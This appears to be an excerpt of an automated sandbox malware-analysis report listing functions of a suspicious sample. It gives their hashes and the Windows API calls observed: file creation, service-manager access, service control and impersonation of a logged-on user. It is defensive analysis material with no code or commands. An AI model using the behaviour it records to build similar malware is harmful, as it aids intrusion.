Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1df4dabbc878c6da286d00b7b1a036f9324fe2f0449aa31412147e8c1c7ac4eb
Instruction ID: 05699f4358516f3b3f85533c17fb85862ca6656b7851ee6f68b6c7dbdde5eece
Opcode Fuzzy Hash: 1df4dabbc878c6da286d00b7b1a036f9324fe2f0449aa31412147e8c1c7ac4eb
Instruction Fuzzy Hash: BC3117B290C710EFE305AF19D8816A9FBF4FF99360F16482DE5C587610D73184848B97

Function 00AB90B2 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1a5351358a19a5bc3bcb8a7ea8f10dbdc3d7060db68afc91c608175dfec3ae
Instruction ID: b416a0c23b171c4e4c2a2152af94c50b97d85786d8e65567f6d123e96a27d0cd
Opcode Fuzzy Hash: 4a1a5351358a19a5bc3bcb8a7ea8f10dbdc3d7060db68afc91c608175dfec3ae
Instruction Fuzzy Hash: 7221377654C2825FE746CF289C946EB3B7DFB92720B2402ABE441CB293C2214D09A764

Function 00AB9126 Relevance: 1.6, APIs: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(24448100,?,?,000072A5,?,00AB90EF,00000003,00000000,00000003,69B42C1A,00000000), ref: 00AB91C0

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3b4ffa375b3b95c576c1e6867921db9873d511eb902b6457e8f63889556703b0
Instruction ID: fb1a27acbc0849c90f3aa1337a0c314c78925c6afd69fcf56fe4f5267d813e22
Opcode Fuzzy Hash: 3b4ffa375b3b95c576c1e6867921db9873d511eb902b6457e8f63889556703b0
Instruction Fuzzy Hash: 4E2127BA24C2867EE3468F289D949FB7B7DFAC7734730426AF041C6583D2614D09A734

Function 04C00D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C00DCD

Memory Dump Source

Source File: 00000004.00000002.2787268571.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c00000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 023744e1bb0b86374ce3425c9e734879b82fd8d32db5883c7392863fdd21edd5
Instruction ID: d8d03e74da709a3d1832ea4944cac533e0fb1328484e24b1476090e24ed89d36
Opcode Fuzzy Hash: 023744e1bb0b86374ce3425c9e734879b82fd8d32db5883c7392863fdd21edd5
Instruction Fuzzy Hash: 8A2125B5C002189FCB50DF9AD884ADEFBF5EF88710F15852AD808AB245D774A640CBA5

Function 00AB8E70 Relevance: 1.6, APIs: 1, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000), ref: 00AB8E8A

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 512d4017f0b636813bd64bc0fdeeda06cc2c406921f58b201ef935f4c6044a54
Instruction ID: 5686bcd5a219a5e640f7fab3e285e9fc400193e8aa2eea93ff13709f0fb4f7d0
Opcode Fuzzy Hash: 512d4017f0b636813bd64bc0fdeeda06cc2c406921f58b201ef935f4c6044a54
Instruction Fuzzy Hash: AEF049FB24C1543DF6208A666B54AFBB76DE9C2730B30842AF801C1842D2954E4D5631

Function 04C00D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C00DCD

Memory Dump Source

Source File: 00000004.00000002.2787268571.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c00000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 89846ee54b1a35c276f117a1beb9aca9a35b5fd9cfff5cb4a4b0535964e0fe04
Instruction ID: 5bc8088fecdbc02ef2bd98d05c73e844614cacff2f8cc1ac8c1bbb26d893b1db
Opcode Fuzzy Hash: 89846ee54b1a35c276f117a1beb9aca9a35b5fd9cfff5cb4a4b0535964e0fe04
Instruction Fuzzy Hash: F72115B6C012599FCB50DF9AD884BDEFBF5EF88710F15812AD908AB244D734A640CBA4

Function 00AB8F01 Relevance: 1.6, APIs: 1, Instructions: 54
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000), ref: 00AB8E8A

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 77d2258c155dfad51a69c11e917780cd570f2f8a66293307f9fa031d20723406
Instruction ID: 1d5f1b04bb07d9b8c0b5d012e8291b36034576ef861905ecf537d5e37abaa8d9
Opcode Fuzzy Hash: 77d2258c155dfad51a69c11e917780cd570f2f8a66293307f9fa031d20723406
Instruction Fuzzy Hash: CDF090AB54C1903CF61286362E64AFF7F6CEAD3734738846EF891C1543D2458D4A9636

Function 04C01510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04C01580

Memory Dump Source

Source File: 00000004.00000002.2787268571.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c00000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: c16c8f9f795207d489f88c6587b54d400847d636da0ec243bb8f23646cc81745
Instruction ID: e5435cbc2e54a637c5d376b10a3bf3fe09b924eaa837bf0e8970b4bff80a1c8d
Opcode Fuzzy Hash: c16c8f9f795207d489f88c6587b54d400847d636da0ec243bb8f23646cc81745
Instruction Fuzzy Hash: D711D0B19002499FDB10CF9AC584ADEFBF4EB48320F14802AE959A7250D778AA44CFA5

Function 04C01509 Relevance: 1.6, APIs: 1, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 04C01580

Memory Dump Source

Source File: 00000004.00000002.2787268571.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c00000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 8a8c5d86d2c8c87a490ceef271e5af040dd609fc9b8d7713d3b635610d537baf
Instruction ID: 744d3172643076c415695f3347adfb84fcbbf1e752370fd236e3eaea1e519452
Opcode Fuzzy Hash: 8a8c5d86d2c8c87a490ceef271e5af040dd609fc9b8d7713d3b635610d537baf
Instruction Fuzzy Hash: EC2100B5900249CFDB10CFAAD584ADEFBF5EF48320F14842AE959A7250D738A644CFA5

Function 04C01301 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE(?), ref: 04C01367

Memory Dump Source

Source File: 00000004.00000002.2787268571.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c00000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 64a7d1a1b4fd38d1de557e6feb5c81462a0592a5ec22418ba794b15a9a3494c4
Instruction ID: bab22b51cbc086cd308239f3fc7f8ad4568960f5f4bec11d47a3362287aa8f2a
Opcode Fuzzy Hash: 64a7d1a1b4fd38d1de557e6feb5c81462a0592a5ec22418ba794b15a9a3494c4
Instruction Fuzzy Hash: A11122B1800249CFDB10DF9AC544BEEFBF8EF48324F24842AE558A3241D778A944CFA5

Function 04C01308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE(?), ref: 04C01367

Memory Dump Source

